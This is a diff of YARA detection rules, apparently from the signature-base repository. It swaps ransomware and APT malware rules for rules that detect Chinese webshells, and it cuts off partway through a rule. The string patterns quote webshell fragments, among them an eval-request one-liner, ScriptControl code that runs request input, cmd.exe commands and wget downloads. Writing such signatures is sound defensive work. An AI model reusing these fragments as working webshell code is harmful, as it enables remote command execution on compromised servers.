-rule SIGNATURE_BASE_APT_MAL_CISA_10365227_01_APPSTORAGE_Dec21 : APPSTORAGE FILE
+rule SIGNATURE_BASE_Item_Old : FILE
 {
 	meta:
-		description = "Detects AppStorage ntstatus msexch samples"
-		author = "CISA Code & Media Analysis"
-		id = "a44c5609-980f-5961-921c-6b1824cdd49c"
-		date = "2021-12-23"
-		modified = "2021-12-24"
-		reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stealer_cisa_ar22_277a.yar#L25-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6a46bc4efa1f22d9fc65d946dbaa7b94de6074e65c228373bb6001f152d5b603"
-		score = 80
+		description = "Chinese Hacktool Set - file item-old.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c32bbd48-a363-53c7-84c6-c47581e2f9da"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L157-L172"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "daae358bde97e534bc7f2b0134775b47ef57e1da"
+		logic_hash = "181e46408050490dccc4f321bd1072da0436d920e16cc4711b16425eb5bd73ed"
+		score = 75
 		quality = 85
-		tags = "APPSTORAGE, FILE"
-		family = "APPSTORAGE"
-		hash1 = "157a0ffd18e05bfd90a4ec108e5458cbde01015e3407b3964732c9d4ceb71656"
-		hash2 = "30191b3badf3cdbc65d0ffeb68e0f26cef10a41037351b0f562ab52fce7432cc"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "026B924DD52F8BE4A3FEE8575DC"
-		$s2 = "GetHDDId"
-		$s3 = "AppStorage"
-		$s4 = "AppDomain"
-		$s5 = "$1e3e5580-d264-4c30-89c9-8933c948582c"
-		$s6 = "hrjio2mfsdlf235d" wide
+		$s1 = "$sCmd = \"wget -qc \".escapeshellarg($sURL).\" -O \".$sFile;" fullword ascii
+		$s2 = "$sCmd = \"convert \".$sFile.\" -flip -quality 80 \".$sFileOut;" fullword ascii
+		$s3 = "$sHash = md5($sURL);" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		filesize <7KB and 2 of them
 }
-rule SIGNATURE_BASE_APT_MAL_CISA_10365227_02_Clientuploader_Dec21 : FILE
+rule SIGNATURE_BASE_Tools_2014 : FILE
 {
 	meta:
-		description = "Detects ClientUploader_mqsvn"
-		author = "CISA Code & Media Analysis"
-		id = "84351df9-e225-5c3f-9385-523246681a97"
-		date = "2021-12-23"
-		modified = "2021-12-24"
-		reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stealer_cisa_ar22_277a.yar#L48-L67"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f9f82b4577568d0bd60bac0d3132ed7ffcb338f508a8689f3126f3d2440432ef"
-		score = 80
-		quality = 81
+		description = "Chinese Hacktool Set - file 2014.jsp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bb76321b-003d-5f6b-a84b-425477abe91c"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L174-L189"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "74518faf08637c53095697071db09d34dbe8d676"
+		logic_hash = "caa365cc1a641b7dcd5d2082240d981e66caf6da1379ee109a0bb1f651d1f00f"
+		score = 75
+		quality = 85
 		tags = "FILE"
-		hash1 = "3585c3136686d7d48e53c21be61bb2908d131cf81b826acf578b67bb9d8e9350"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "UploadSmallFileWithStopWatch"
-		$s2 = "UploadPartWithStopwatch"
-		$s3 = "AppVClient"
-		$s4 = "ClientUploader"
-		$s5 = { 46 69 6C 65 43 6F 6E 74 61 69 6E 65 72 2E 46 69 6C 65 41 72 63 68 69 76 65 }
-		$s6 = { 4F 6E 65 44 72 69 76 65 43 6C 69 65 6E 74 2E 4F 6E 65 44 72 69 76 65 }
+		$s0 = "((Invoker) ins.get(\"login\")).invoke(request, response," fullword ascii
+		$s4 = "program = \"cmd.exe /c net start > \" + SHELL_DIR" fullword ascii
+		$s5 = ": \"c:\\\\windows\\\\system32\\\\cmd.exe\")" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		filesize <715KB and all of them
 }
-rule SIGNATURE_BASE_MAL_RANSOM_Crime_Dearcry_Mar2021_1 : FILE
+rule SIGNATURE_BASE_Reduhservers_Reduh_2 : FILE
 {
 	meta:
-		description = "Triggers on strings of known DearCry samples"
-		author = "Nils Kuhnert"
-		id = "d9714502-f1ea-5fe8-b0ac-1f7a9a30d8f5"
-		date = "2021-03-12"
+		description = "Chinese Hacktool Set - file reDuh.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6050dfde-6c79-5dd8-a772-508668177aa5"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/phillip_misner/status/1370197696280027136"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_dearcry_ransom.yar#L1-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e55507475888087c84f9624f82516e8a40aaf59bf2fbea72129a1dd134b28110"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L191-L206"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "512d0a3e7bb7056338ad0167f485a8a6fa1532a3"
+		logic_hash = "954115da374b6d72c35244673799be6e8bae5288f53509dea04e3ae3c489af12"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff"
-		hash2 = "e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6"
-		hash3 = "feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = ".TIF .TIFF .PDF .XLS .XLSX .XLTM .PS .PPS .PPT .PPTX .DOC .DOCX .LOG .MSG .RTF .TEX .TXT .CAD .WPS .EML .INI .CSS .HTM .HTML  .XHTML .JS .JSP .PHP .KEYCHAIN .PEM .SQL .APK .APP .BAT .CGI .ASPX .CER .CFM .C .CPP .GO .CONFIG .PL .PY .DWG .XML .JPG .BMP .PNG .EXE .DLL .CAD .AVI .H.CSV .DAT .ISO .PST .PGD  .7Z .RAR .ZIP .ZIPX .TAR .PDB .BIN .DB .MDB .MDF .BAK .LOG .EDB .STM .DBF .ORA .GPG .EDB .MFS" ascii
-		$s1 = "create rsa error" ascii fullword
-		$s2 = "DEARCRY!" ascii fullword
-		$s4 = "/readme.txt" ascii fullword
-		$s5 = "msupdate" ascii fullword
-		$s6 = "Your file has been encrypted!" ascii fullword
-		$s7 = "%c:\\%s" ascii fullword
-		$s8 = "C:\\Users\\john\\" ascii
-		$s9 = "EncryptFile.exe.pdb" ascii
+		$s1 = "errorlog(\"FRONTEND: send_command '\".$data.\"' on port \".$port.\" returned \"." ascii
+		$s2 = "$msg = \"newData:\".$socketNumber.\":\".$targetHost.\":\".$targetPort.\":\".$seq" ascii
+		$s3 = "errorlog(\"BACKEND: *** Socket key is \".$sockkey);" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >1MB and filesize <2MB and (1 of ($x*) or 3 of them ) or 5 of them
+		filesize <57KB and all of them
 }
-rule SIGNATURE_BASE_MAL_CRIME_RANSOM_Dearcry_Mar21_1 : FILE
+rule SIGNATURE_BASE_Customize_2 : FILE
 {
 	meta:
-		description = "Detects DearCry Ransomware affecting Exchange servers"
+		description = "Chinese Hacktool Set - file Customize.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "96cd2fe8-8bb9-5a3b-9bf1-c63a1148a817"
-		date = "2021-03-12"
+		id = "1f7e9063-33d8-5df4-89d5-7d8fc1be61f0"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/phillip_misner/status/1370197696280027136"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_dearcry_ransom.yar#L29-L53"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c4af7c29e917078f8658aca68ec95f8a03934f42c81fdd421639437e24f304bc"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L208-L222"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "37cd17543e14109d3785093e150652032a85d734"
+		logic_hash = "aa0940a21eea6ba50a93dd36a8f914f636fdba0685048fc67e16dd68c1c2794e"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff"
-		hash2 = "e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6"
-		hash3 = "feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "dear!!!" ascii fullword
-		$s2 = "EncryptFile.exe.pdb" ascii fullword
-		$s3 = "/readme.txt" ascii fullword
-		$s4 = "C:\\Users\\john\\" ascii
-		$s5 = "And please send me the following hash!" ascii fullword
-		$op1 = { 68 e0 30 52 00 6a 41 68 a5 00 00 00 6a 22 e8 81 d0 f8 ff 83 c4 14 33 c0 5e }
-		$op2 = { 68 78 6a 50 00 6a 65 6a 74 6a 10 e8 d9 20 fd ff 83 c4 14 33 c0 5e }
-		$op3 = { 31 40 00 13 31 40 00 a4 31 40 00 41 32 40 00 5f 33 40 00 e5 }
+		$s1 = "while((l=br.readLine())!=null){sb.append(l+\"\\r\\n\");}}" fullword ascii
+		$s2 = "String Z=EC(request.getParameter(Pwd)+\"\",cs);String z1=EC(request.getParameter" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <4000KB and 3 of them or 5 of them
+		filesize <30KB and all of them
 }
-rule SIGNATURE_BASE_Teledoor_Backdoor : FILE
+rule SIGNATURE_BASE_Chinachopper_One : FILE
 {
 	meta:
-		description = "Detects the TeleDoor Backdoor as used in Petya Attack in June 2017"
+		description = "Chinese Hacktool Set - file one.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ba9b4415-427e-5a13-b743-bed225d86db8"
-		date = "2017-07-05"
+		id = "854fb5c9-38c7-5fd2-a473-66ae297070f5"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/CpfJQQ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_teledoor.yar#L11-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "785360fa19a61a547309fc7a8968c94d4887be001c6a66b41c7adb9dcd13cb82"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L224-L237"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6cd28163be831a58223820e7abe43d5eacb14109"
+		logic_hash = "f9a6e4b8556eb3f1e1cbe0bc4eb225b9564ac59aae4a97f184806c6bec95578d"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d462966166450416d6addd3bfdf48590f8440dd80fc571a389023b7c860ca3ac"
-		hash2 = "f9d6fe8bd8aca6528dec7eaa9f1aafbecde15fd61668182f2ba8a7fc2b9a6740"
-		hash3 = "2fd2863d711a1f18eeee5c7c82f2349c5d4e00465de9789da837fcdca4d00277"
 
 	strings:
-		$c1 = { 50 61 79 6C 6F 61 64 00 41 75 74 6F 50 61 79 6C 6F 61 64 }
-		$c2 = { 52 75 6E 43 6D 64 00 44 75 6D 70 44 61 74 61 }
-		$c3 = { 00 5A 76 69 74 57 65 62 43 6C 69 65 6E 74 45 78 74 00 4D 69 6E 49 6E 66 6F }
+		$s0 = "<%eval request(" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <15000KB and 2 of them )
+		filesize <50 and all of them
 }
-rule SIGNATURE_BASE_SNOWGLOBE_Babar_Malware : FILE
+rule SIGNATURE_BASE_CN_Tools_Old : FILE
 {
 	meta:
-		description = "Detects the Babar Malware used in the SNOWGLOBE attacks - file babar.exe"
+		description = "Chinese Hacktool Set - file old.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "53a61065-a3b3-563e-8ecc-513d8da68085"
-		date = "2015-02-18"
+		id = "bfdb84e8-e5a8-53a4-ae71-e0d1b38d38ef"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "http://motherboard.vice.com/read/meet-babar-a-new-malware-almost-certainly-created-by-france"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_snowglobe_babar.yar#L4-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "27a0a98053f3eed82a51cdefbdfec7bb948e1f36"
-		logic_hash = "a93425a95efe471b815e2daf0b5e290b3472b722c6a48f8c22f0a6e9c588ffc9"
-		score = 80
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L239-L255"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f8a007758fda8aa1c0af3c43f3d7e3186a9ff307"
+		logic_hash = "3f0ac357e9a9fb4ee937b53145b33ba1041310d979cbc3feb0a4caf026b9b730"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$z0 = "admin\\Desktop\\Babar64\\Babar64\\obj\\DllWrapper" ascii fullword
-		$z1 = "User-Agent: Mozilla/4.0 (compatible; MSI 6.0;" ascii fullword
-		$z2 = "ExecQueryFailled!" fullword ascii
-		$z3 = "NBOT_COMMAND_LINE" fullword
-		$z4 = "!!!EXTRACT ERROR!!!File Does Not Exists-->[%s]" fullword
-		$s1 = "/s /n %s \"%s\"" fullword ascii
-		$s2 = "%%WINDIR%%\\%s\\%s" fullword ascii
-		$s3 = "/c start /wait " fullword ascii
-		$s4 = "(D;OICI;FA;;;AN)(A;OICI;FA;;;BG)(A;OICI;FA;;;SY)(A;OICI;FA;;;LS)" ascii
-		$x1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\" ascii
-		$x2 = "%COMMON_APPDATA%" fullword ascii
-		$x4 = "CONOUT$" fullword ascii
-		$x5 = "cmd.exe" fullword ascii
-		$x6 = "DLLPATH" fullword ascii
+		$s0 = "$sCmd = \"wget -qc \".escapeshellarg($sURL).\" -O \".$sFile;" fullword ascii
+		$s1 = "$sURL = \"http://\".$sServer.\"/\".$sFile;" fullword ascii
+		$s2 = "chmod(\"/\".substr($sHash, 0, 2), 0777);" fullword ascii
+		$s3 = "$sCmd = \"echo 123> \".$sFileOut;" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1MB and ((1 of ($z*) and 1 of ($x*)) or (3 of ($s*) and 4 of ($x*)))
+		filesize <6KB and all of them
 }
-rule SIGNATURE_BASE_SUSP_EXPL_LIBCUE_CVE_2023_43641_Oct23_1 : CVE_2023_43641 FILE
+rule SIGNATURE_BASE_Item_301 : FILE
 {
 	meta:
-		description = "Detects a suspicious .cue file that could be an exploitation attempt of libcue vulnerability CVE-2023-43641"
-		author = "Florian Roth"
-		id = "34fcf80c-adcd-55c0-9fb4-261d20f61fa6"
-		date = "2023-10-27"
+		description = "Chinese Hacktool Set - file item-301.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4ee9a089-313f-53c1-8196-1348d721dbf4"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/github/securitylab/blob/main/SecurityExploits/libcue/track_set_index_CVE-2023-43641/README.md"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_libcue_cve_2023_43641.yar#L2-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a2cd3c1b0b3551ffb24bf7704c37c1be6c1a9655c74447d2f7f94540dd0ab188"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L257-L273"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "15636f0e7dc062437608c1f22b1d39fa15ab2136"
+		logic_hash = "623e235ff3eb0922fe8aee732144a15bcc0c580229654ae988353176f488b085"
+		score = 75
 		quality = 85
-		tags = "CVE-2023-43641, FILE"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "TRACK "
-		$a2 = "FILE "
-		$s1 = "INDEX 4294"
+		$s1 = "$sURL = \"301:http://\".$sServer.\"/index.asp\";" fullword ascii
+		$s2 = "(gov)\\\\.(cn)$/i\", $aURL[\"host\"])" ascii
+		$s3 = "$aArg = explode(\" \", $sContent, 5);" fullword ascii
+		$s4 = "$sURL = $aArg[0];" fullword ascii
 
 	condition:
-		filesize <100KB and all of them
+		filesize <3KB and 3 of them
 }
-rule SIGNATURE_BASE_Shifu_Banking_Trojan : FILE
+rule SIGNATURE_BASE_CN_Tools_Item : FILE
 {
 	meta:
-		description = "Detects Shifu Banking Trojan"
+		description = "Chinese Hacktool Set - file item.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e86a98b1-a5c3-57b6-9449-dc36c04cebf3"
-		date = "2015-09-01"
+		id = "954f24c9-d7d5-56d3-86f0-0cf8832640dd"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://securityintelligence.com/shifu-masterful-new-banking-trojan-is-attacking-14-japanese-banks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_shifu_trojan.yar#L8-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f65fa80638e6a8bf8c5afb3dbe1262572ca0a7c56507369934ac3d958f3e6267"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L275-L291"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a584db17ad93f88e56fd14090fae388558be08e4"
+		logic_hash = "1e927fd093aa11ad525f3f64d657f314520669b4237eac8f87d0be53cd848044"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4ff1ebea2096f318a2252ebe1726bcf3bbc295da9204b6c720b5bbf14de14bb2"
-		hash2 = "4881c7d89c2b5e934d4741a653fbdaf87cc5e7571b68c723504069d519d8a737"
 
 	strings:
-		$x1 = "c:\\oil\\feet\\Seven\\Send\\Gather\\Dividerail.pdb" fullword ascii
-		$s1 = "listen above" fullword wide
-		$s2 = "familycould cost" fullword wide
-		$s3 = "SetSystemTimeAdjustment" fullword ascii
-		$s4 = "PeekNamedPipe" fullword ascii
+		$s1 = "$sURL = \"http://\".$sServer.\"/\".$sWget;" fullword ascii
+		$s2 = "$sURL = \"301:http://\".$sServer.\"/\".$sWget;" fullword ascii
+		$s3 = "$sWget=\"index.asp\";" fullword ascii
+		$s4 = "$aURL += array(\"scheme\" => \"\", \"host\" => \"\", \"path\" => \"\");" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and ($x1 or all of ($s*))
+		filesize <4KB and all of them
 }
-rule SIGNATURE_BASE_SHIFU_Banking_Trojan : FILE
+rule SIGNATURE_BASE_F3_Diy : FILE
 {
 	meta:
-		description = "Detects SHIFU Banking Trojan"
+		description = "Chinese Hacktool Set - file diy.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b0d57a2b-31cc-5af0-84c3-5d178e2d244d"
-		date = "2015-10-31"
+		id = "9f36c6dd-89e8-511b-a499-131f1e8a420a"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/52n8WE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_shifu_trojan.yar#L29-L63"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "01f5217ee4e81b0b2ff37ccc7eed353ace26aa68538cce5bc207c0c071f0850a"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L293-L307"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f39c2f64abe5e86d8d36dbb7b1921c7eab63bec9"
+		logic_hash = "37d6bc61d790ff30c98ded08ff875431fda525cd3ac10b4b1ba3f8f42167ed8c"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0066d1c8053ff8b0c07418c7f8d20e5cd64007bb850944269f611febd0c1afe0"
-		hash2 = "3956d32a870d81be34cafc867769b2a2f55a96360070f1cb3d9addc2918357d5"
-		hash3 = "3fde1b2b50fcb36a695f1e6bc577cd930c2343066d98982cf982393e55bfce0d"
-		hash4 = "457ad4a4d4e675fe09f63873ca3364434dc872dde7d9b64ce7db919eaff47485"
-		hash5 = "51edba913e8b83d1388b1be975957e439015289d51d3d5774d501551f220df6f"
-		hash6 = "6611a2b79a3acf0003b1197aa5bfe488a33db69b663c79c6c5b023e86818d38b"
-		hash7 = "72e239924faebf8209f8e3d093f264f778a55efb56b619f26cea73b1c4feb7a4"
-		hash8 = "7a29cb641b9ac33d1bb405d364bc6e9c7ce3e218a8ff295b75ca0922cf418290"
-		hash9 = "92fe4f9a87c796e993820d1bda8040aced36e316de67c9c0c5fc71aadc41e0f8"
-		hash10 = "93ecb6bd7c76e1b66f8c176418e73e274e2c705986d4ac9ede9d25db4091ab05"
-		hash11 = "a0b7fac69a4eb32953c16597da753b15060f6eba452d150109ff8aabc2c56123"
-		hash12 = "a8b6e798116ce0b268e2c9afac61536b8722e86b958bd2ee95c6ecdec86130c9"
-		hash13 = "d6244c1177b679b3d67f6cec34fe0ae87fba21998d4f5024d8eeaf15ca242503"
-		hash14 = "dcc9c38e695ffd121e793c91ca611a4025a116321443297f710a47ce06afb36d"
 
 	strings:
-		$x1 = "\\Gather\\Dividerail.pdb" ascii
-		$s0 = "\\payload\\payload.x86.pdb" ascii
-		$s1 = "USER_PRIV_GUEST" fullword wide
-		$s2 = "USER_PRIV_ADMIN" fullword wide
-		$s3 = "USER_PRIV_USER" fullword wide
-		$s4 = "PPSWVPP" fullword ascii
-		$s5 = "WinSCard.dll" fullword ascii
+		$s0 = "<%@LANGUAGE=\"VBScript.Encode\" CODEPAGE=\"936\"%>" fullword ascii
+		$s5 = ".black {" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and ($x1 or 5 of ($s*))
+		uint16(0)==0x253c and filesize <10KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Bronzebutler_Daserf_Delphi_1 : FILE
+rule SIGNATURE_BASE_Chinachopper_Temp : FILE
 {
 	meta:
-		description = "Detects malware / hacktool sample from Bronze Butler incident"
+		description = "Chinese Hacktool Set - file temp.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "88372e62-3bba-58dc-825c-f35533e42825"
-		date = "2017-10-14"
+		id = "f163787f-fcc9-568a-a12d-4057cb4f0d29"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_bronze_butler.yar#L13-L36"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6034a6746a5bd762d869ad2e791d80aca8a1251afa9386d6b657f23092c6fc42"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L309-L325"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b0561ea52331c794977d69704345717b4eb0a2a7"
+		logic_hash = "3669dfa10867970456f6638035a87d448e2b728387fbd07b59ffd981a1ab6200"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "89a80ca92600af64eb9c32cab4e936c7d675cf815424d72438973e2d6788ef64"
-		hash2 = "b1bd03cd12638f44d9ace271f65645e7f9b707f86e9bcf790e0e5a96b755556b"
-		hash3 = "22e1965154bdb91dd281f0e86c8be96bf1f9a1e5fe93c60a1d30b79c0c0f0d43"
 
 	strings:
-		$s1 = "Services.exe" fullword ascii
-		$s2 = "Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; SV1)" fullword ascii
-		$s3 = "l32.dll" fullword ascii
-		$s4 = "tProcess:" fullword ascii
-		$s5 = " InjectPr" ascii
-		$s6 = "Write$Error creating variant or safe array\x1fInvalid argument to time encode" fullword wide
-		$s7 = "on\\run /v " fullword ascii
-		$s8 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\run" fullword ascii
-		$s9 = "ms1ng2d3d2.exe" fullword ascii
+		$s0 = "o.run \"ff\",Server,Response,Request,Application,Session,Error" fullword ascii
+		$s1 = "Set o = Server.CreateObject(\"ScriptControl\")" fullword ascii
+		$s2 = "o.language = \"vbscript\"" fullword ascii
+		$s3 = "o.addcode(Request(\"SC\"))" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and 3 of them )
+		filesize <1KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Bronzebutler_Daserf_C_1 : FILE
+rule SIGNATURE_BASE_Tools_2015 : FILE
 {
 	meta:
-		description = "Detects malware / hacktool sample from Bronze Butler incident"
+		description = "Chinese Hacktool Set - file 2015.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "62a5cc4a-7c58-5e4d-ac23-8d1f850a540a"
-		date = "2017-10-14"
+		id = "eb2826ab-ef8d-5a93-9ede-f5bbd7ab4ff4"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_bronze_butler.yar#L38-L78"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
